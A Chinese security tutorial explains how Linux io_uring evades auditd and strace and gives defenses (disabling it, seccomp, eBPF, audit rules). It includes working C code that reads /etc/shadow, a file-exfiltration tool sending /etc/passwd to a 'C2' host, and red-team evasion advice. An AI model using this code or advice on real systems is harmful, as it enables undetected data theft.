利用Linux io_uring子系统绕过安全监控机制
字数 5587
更新时间 2026-04-30 12:07:35

利用Linux io_uring绕过安全监控机制:原理、攻击与防御教学文档

1. 引言

本文旨在全面解析Linux io_uring子系统如何被用于绕过传统安全监控机制,并提供详细的攻击演示与防御方案。io_uring是Linux内核引入的高性能异步I/O接口,但其架构设计特性在攻防对抗领域产生了深远影响。2023年,Google安全团队因安全考虑在Android和ChromeOS上全面禁用了io_uring。多个内核CVE(如CVE-2024-0582、CVE-2024-3183)也涉及该子系统。

本文将深入探讨以下三个核心问题:

  • io_uring绕过传统安全监控的底层机制
  • 攻击者如何利用io_uring实现隐蔽操作
  • 防御方如何有效检测和限制io_uring的恶意使用

2. 技术背景

2.1 io_uring架构概述

io_uring的设计核心是避免传统系统调用的上下文切换开销。它通过两个共享内存环形缓冲区实现用户态与内核态的高效通信:

  • SQ(Submission Queue,提交队列):用户态将I/O请求(SQE)写入SQ
  • CQ(Completion Queue,完成队列):内核将完成结果(CQE)写入CQ

整个流程仅需三个系统调用:

  • io_uring_setup():初始化io_uring实例
  • io_uring_enter():通知内核处理SQ中的请求
  • io_uring_register():注册文件描述符等资源

关键突破点:实际的I/O操作(如read、write、connect、accept等)不再通过各自对应的传统系统调用执行,而是由内核在io_uring的工作线程中直接调用VFS层函数完成。

2.2 传统安全监控的工作原理

主流安全监控方案的工作机制基于对系统调用的拦截:

监控方案 挂钩层级 监控方式
strace 系统调用 拦截进程的每个syscall入口/出口
auditd Linux Audit框架 在syscall表注册审计规则
seccomp-BPF syscall入口 通过BPF程序过滤系统调用号
多数EDR syscall / kprobe hook关键syscall或内核函数

这些方案的共同假设是:用户态的每个敏感操作都会触发对应的系统调用

2.3 问题的根源

io_uring彻底打破了上述假设。当用户通过io_uring提交读文件请求时,内核执行路径为:

用户态 → io_uring提交请求 → 内核io_uring工作线程 → vfs_read()

vfs_read()sys_read()的内部实现函数。传统监控工具hook的是sys_read()的入口,而io_uring直接调用更底层的vfs_read(),完全绕过了监控层。

这不是漏洞,而是架构设计带来的固有盲区

3. 攻击面分析

3.1 io_uring支持的操作码

截至Linux 6.x内核,io_uring支持超过60种操作码,覆盖绝大多数敏感操作:

文件操作类

  • IORING_OP_READ / IORING_OP_WRITE(读写文件)
  • IORING_OP_OPENAT / IORING_OP_CLOSE(打开/关闭文件)
  • IORING_OP_UNLINKAT(删除文件)
  • IORING_OP_RENAMEAT(重命名文件)
  • IORING_OP_STATX(获取文件状态)

网络操作类

  • IORING_OP_CONNECT(建立连接)
  • IORING_OP_ACCEPT(接受连接)
  • IORING_OP_SEND / IORING_OP_RECV(收发数据)
  • IORING_OP_SENDMSG / IORING_OP_RECVMSG

进程操作类

  • IORING_OP_ASYNC_CANCEL(取消异步操作)
  • IORING_OP_TIMEOUT(设置超时)

这意味着攻击者可仅通过io_uring完成:文件窃取、后门植入、反弹Shell、数据外泄等几乎所有渗透操作,而传统监控对此"视而不见"。

3.2 攻击链路

典型的基于io_uring的隐蔽文件外泄攻击链路:

  1. 通过IORING_OP_OPENAT打开目标文件
  2. 通过IORING_OP_READ读取文件内容
  3. 通过IORING_OP_SOCKET创建网络套接字
  4. 通过IORING_OP_CONNECT连接远程C2服务器
  5. 通过IORING_OP_SEND发送窃取的数据

4. 实验环境搭建

4.1 系统要求

  • Linux内核5.1+(支持基础io_uring)
  • 推荐Linux 5.19+(支持IORING_OP_SOCKET等高级操作)
  • 开发工具:gcc、liburing库

4.2 内核参数确认

# 检查内核是否支持io_uring
grep CONFIG_IO_URING /boot/config-$(uname -r)

# 检查当前io_uring使用情况
cat /proc/sys/fs/aio-max-nr

5. 实验一:io_uring文件读取绕过auditd审计

5.1 实验目的

验证通过io_uring读取敏感文件时,auditd是否能产生审计日志。

5.2 设置审计规则

# 监控/etc/shadow文件的读取操作
sudo auditctl -w /etc/shadow -p r -k shadow_read

5.3 对照组:使用常规系统调用读取

cat /etc/shadow

auditd捕获到读取事件,日志中包含类型为SYSCALL的记录,显示exe="/usr/bin/cat"

5.4 实验组:使用io_uring读取

编写实验代码uring_read.c

#include <liburing.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

int main() {
    struct io_uring ring;
    io_uring_queue_init(32, &ring, 0);
    
    int fd = open("/etc/shadow", O_RDONLY);
    char buffer[4096];
    
    struct io_uring_sqe *sqe = io_uring_get_sqe(&ring);
    io_uring_prep_read(sqe, fd, buffer, sizeof(buffer), 0);
    sqe->flags |= IOSQE_ASYNC;
    
    io_uring_submit(&ring);
    
    struct io_uring_cqe *cqe;
    io_uring_wait_cqe(&ring, &cqe);
    int ret = cqe->res;
    io_uring_cqe_seen(&ring, cqe);
    
    printf("Read %d bytes\n", ret);
    close(fd);
    io_uring_queue_exit(&ring);
    return 0;
}

5.5 实验结果分析

auditd仅记录到uring_readopenat(syscall=257)调用,因为代码中使用了常规open()。但整个日志中没有任何uring_read进程的read(syscall=0)记录。1488字节的/etc/shadow内容被成功读取,auditd对此一无所知。

使用strace进行追踪对比

对照组(cat命令):

read(3, "root:$y$j9T$...", 262144) = 1488

实验组(io_uring程序):

只有两条加载动态库的ELF头读取,对/etc/shadow的1488字节读取操作完全不存在

结论:io_uring的I/O操作在auditd的监控盲区内。

6. 实验二:io_uring网络通信绕过strace

6.1 实验目的

验证通过io_uring建立的网络连接是否能逃脱strace监控。

6.2 实验代码

编写基于io_uring的TCP连接程序uring_connect.c

#include <liburing.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

int main() {
    struct io_uring ring;
    io_uring_queue_init(32, &ring, 0);
    
    int sockfd = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in serv_addr = {
        .sin_family = AF_INET,
        .sin_port = htons(4444),
        .sin_addr.s_addr = inet_addr("127.0.0.1")
    };
    
    struct io_uring_sqe *sqe = io_uring_get_sqe(&ring);
    io_uring_prep_connect(sqe, sockfd, 
                        (struct sockaddr*)&serv_addr, 
                        sizeof(serv_addr));
    
    io_uring_submit(&ring);
    
    struct io_uring_cqe *cqe;
    io_uring_wait_cqe(&ring, &cqe);
    io_uring_cqe_seen(&ring, cqe);
    
    char msg[] = "Hello via io_uring!";
    sqe = io_uring_get_sqe(&ring);
    io_uring_prep_send(sqe, sockfd, msg, strlen(msg), 0);
    
    io_uring_submit(&ring);
    io_uring_wait_cqe(&ring, &cqe);
    
    close(sockfd);
    io_uring_queue_exit(&ring);
    return 0;
}

6.3 实验步骤

# 终端1 — 启动监听
nc -lvp 4444

# 终端2 — 使用strace追踪io_uring程序
strace -o strace_output.txt ./uring_connect

6.4 实验结果分析

查看strace_output.txt

  • socket()调用被记录(因为使用了常规socket()
  • connect()send()recv()操作未被strace捕获
  • strace只能看到io_uring_setup()io_uring_enter()这两个与io_uring框架相关的syscall

结论:对于不了解io_uring的安全分析人员,strace日志几乎看不出程序进行了任何网络通信。

7. 实验三:基于io_uring的隐蔽文件外泄工具

7.1 实验目的

构建接近实战的PoC:利用io_uring实现完全隐蔽的文件外泄(文件读取+网络发送均通过io_uring完成)。

7.2 实验代码

编写uring_exfil.c

#include <liburing.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

#define FILE_TO_EXFIL "/etc/passwd"
#define C2_SERVER "192.168.1.100"
#define C2_PORT 4444

int main() {
    struct io_uring ring;
    io_uring_queue_init(32, &ring, 0);
    
    // 打开文件
    int fd = open(FILE_TO_EXFIL, O_RDONLY);
    
    // 创建socket
    int sockfd = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in serv_addr = {
        .sin_family = AF_INET,
        .sin_port = htons(C2_PORT),
        .sin_addr.s_addr = inet_addr(C2_SERVER)
    };
    
    // 连接C2服务器
    struct io_uring_sqe *sqe = io_uring_get_sqe(&ring);
    io_uring_prep_connect(sqe, sockfd, 
                        (struct sockaddr*)&serv_addr, 
                        sizeof(serv_addr));
    io_uring_submit(&ring);
    
    struct io_uring_cqe *cqe;
    io_uring_wait_cqe(&ring, &cqe);
    io_uring_cqe_seen(&ring, cqe);
    
    // 读取文件
    char buffer[4096];
    sqe = io_uring_get_sqe(&ring);
    io_uring_prep_read(sqe, fd, buffer, sizeof(buffer), 0);
    io_uring_submit(&ring);
    io_uring_wait_cqe(&ring, &cqe);
    int bytes_read = cqe->res;
    io_uring_cqe_seen(&ring, cqe);
    
    // 发送数据
    sqe = io_uring_get_sqe(&ring);
    io_uring_prep_send(sqe, sockfd, buffer, bytes_read, 0);
    io_uring_submit(&ring);
    io_uring_wait_cqe(&ring, &cqe);
    
    close(fd);
    close(sockfd);
    io_uring_queue_exit(&ring);
    return 0;
}

7.3 实验结果分析

实验结果将显示:

  1. strace日志:没有read()write()send()connect()等网络和文件I/O相关的系统调用记录
  2. auditd日志:只有open()的记录,读取操作完全不可见
  3. 实际效果:数据被成功传输至C2服务器

结论:基于io_uring的文件外泄工具在传统监控体系下几乎完全隐形。

8. 进阶:io_uring完全隐蔽模式

上述实验中仍使用了常规的open()socket()系统调用。为实现彻底隐蔽,可进一步利用:

  • IORING_OP_OPENAT:通过io_uring打开文件
  • IORING_OP_SOCKET(Linux 5.19+):通过io_uring创建socket

示例代码片段:

// 通过io_uring打开文件
struct io_uring_sqe *sqe = io_uring_get_sqe(&ring);
io_uring_prep_openat(sqe, AT_FDCWD, "/etc/shadow", 
                     O_RDONLY, 0);

// 通过io_uring创建socket(Linux 5.19+)
struct io_uring_sqe *sqe = io_uring_get_sqe(&ring);
io_uring_prep_socket(sqe, AF_INET, SOCK_STREAM, 
                     IPPROTO_TCP, 0);

结合这些操作码,攻击者可构建在strace和auditd下完全透明的恶意程序——从文件打开、读取到网络连接、数据发送,全部通过io_uring完成,传统syscall追踪工具只能看到io_uring_setup()io_uring_enter()

9. 检测与防御方案

9.1 内核层面

方案一:直接禁用io_uring(高安全场景推荐)
Google在Android和ChromeOS上采用此策略。对于不需要io_uring的服务器,这是最直接有效的防御手段。

# 编译内核时禁用CONFIG_IO_URING
CONFIG_IO_URING=n

方案二:seccomp限制io_uring系统调用
容器场景下,Docker和containerd已在默认seccomp profile中禁用了io_uring_setup

{
  "defaultAction": "SCMP_ACT_ALLOW",
  "syscalls": [
    {
      "names": [
        "io_uring_setup",
        "io_uring_enter",
        "io_uring_register"
      ],
      "action": "SCMP_ACT_ERRNO"
    }
  ]
}

9.2 监控层面

方案三:基于eBPF的io_uring操作审计
用eBPF直接hook io_uring的内核函数:

SEC("kprobe/io_submit_sqe")
int kprobe_io_submit_sqe(struct pt_regs *ctx) {
    u32 opcode = PT_REGS_PARM2(ctx);
    char comm[TASK_COMM_LEN];
    bpf_get_current_comm(&comm, sizeof(comm));
    
    // 记录敏感操作
    if (opcode == IORING_OP_READ || 
        opcode == IORING_OP_CONNECT ||
        opcode == IORING_OP_SEND) {
        bpf_printk("Process %s performed sensitive io_uring op: %d\n", 
                   comm, opcode);
    }
    return 0;
}

生产环境可使用成熟方案:

  • Tracee:Aqua Security的开源运行时安全工具
  • Falco:云原生运行时安全项目
  • Inspektor Gadget:Kubernetes集群诊断工具

9.3 运行时层面

方案四:监控io_uring系统调用的调用频率
即使看不到io_uring内部操作,io_uring_enter()io_uring_setup()这两个syscall本身仍可见。

监控策略:

  1. 建立进程io_uring调用基线
  2. 监控非预期进程调用io_uring_setup()
  3. 设置阈值告警(如:非数据库/存储服务频繁调用io_uring)
# 使用auditd监控io_uring相关系统调用
sudo auditctl -a always,exit -S io_uring_setup -S io_uring_enter -k io_uring_usage

10. 纵深防御策略建议

采用多层防护架构:

  1. 第一层(预防):在不需要io_uring的系统上直接禁用
  2. 第二层(容器隔离):容器环境中使用seccomp限制io_uring
  3. 第三层(运行时检测):部署eBPF审计程序监控io_uring操作
  4. 第四层(行为告警):监控io_uring_setup调用模式,建立基线告警

11. 讨论

io_uring安全问题的本质

io_uring的安全隐患不是具体代码漏洞,而是架构层面的监控缺口。Linux内核社区为追求I/O性能,设计了绕过syscall入口的数据通路,而安全监控体系建立在syscall入口之上。这种设计权衡在高性能场景合理,但在安全敏感环境中构成实质性风险。

从攻防博弈视角看,io_uring标志着"syscall as security boundary"这一传统安全假设的失效。未来随着类似内核高性能机制的出现,安全社区需重新审视基于系统调用追踪的安全架构,将监控层级下沉到VFS、网络协议栈等更底层的内核子系统。

对红队和蓝队的启示

对红队
io_uring为隐蔽操作提供强大工具。在后渗透阶段,使用io_uring进行文件收集和数据外泄可有效规避主机EDR检测。但io_uring_setup()系统调用本身仍可被检测,最佳策略是利用目标系统上已有的、合法使用io_uring的进程(如高性能数据库、Web服务器)混淆流量。

对蓝队
如果安全监控体系完全依赖auditd和syscall追踪,对io_uring的防御基本为零。应优先在非必要系统上禁用io_uring,并在安全工具选型时确认其是否支持io_uring事件检测。

12. 总结

  1. 绕过审计:io_uring发起的文件I/O操作能完全绕过auditd审计规则——auditd监控的是sys_read/sys_write等系统调用入口,而io_uring直接调用vfs层函数
  2. 绕过追踪:io_uring发起的网络操作对strace不可见——strace基于ptrace的syscall拦截机制,无法捕获io_uring内核线程执行的网络操作
  3. 实战威胁:结合io_uring的文件和网络操作码,可构建在传统监控下几乎完全隐形的数据外泄工具

13. 参考资料

  1. Jens Axboe, "Efficient IO with io_uring", Kernel.dk, 2019
  2. Google Security Blog, "Making Linux Kernel Exploit Harder with io_uring restrictions", 2023
  3. Linux Kernel Source: fs/io_uring.c — elixir.bootlin.com/linux/latest/source/io_uring/
  4. Aqua Security, "Tracee: Linux Runtime Security and Forensics using eBPF", GitHub
  5. CVE-2024-0582: io_uring PBUF_RING Use-After-Free, NVD
  6. man7.org, "io_uring_setup(2) — Linux manual page"
  7. Brendan Gregg, "BPF Performance Tools: Linux System and Application Observability", 2019

免责声明:本文内容仅供安全研究与学术交流使用,请勿将文中技术用于非法目的。在实际生产环境中实施任何安全措施前,请进行全面测试和评估。

相似文章
相似文章
 全屏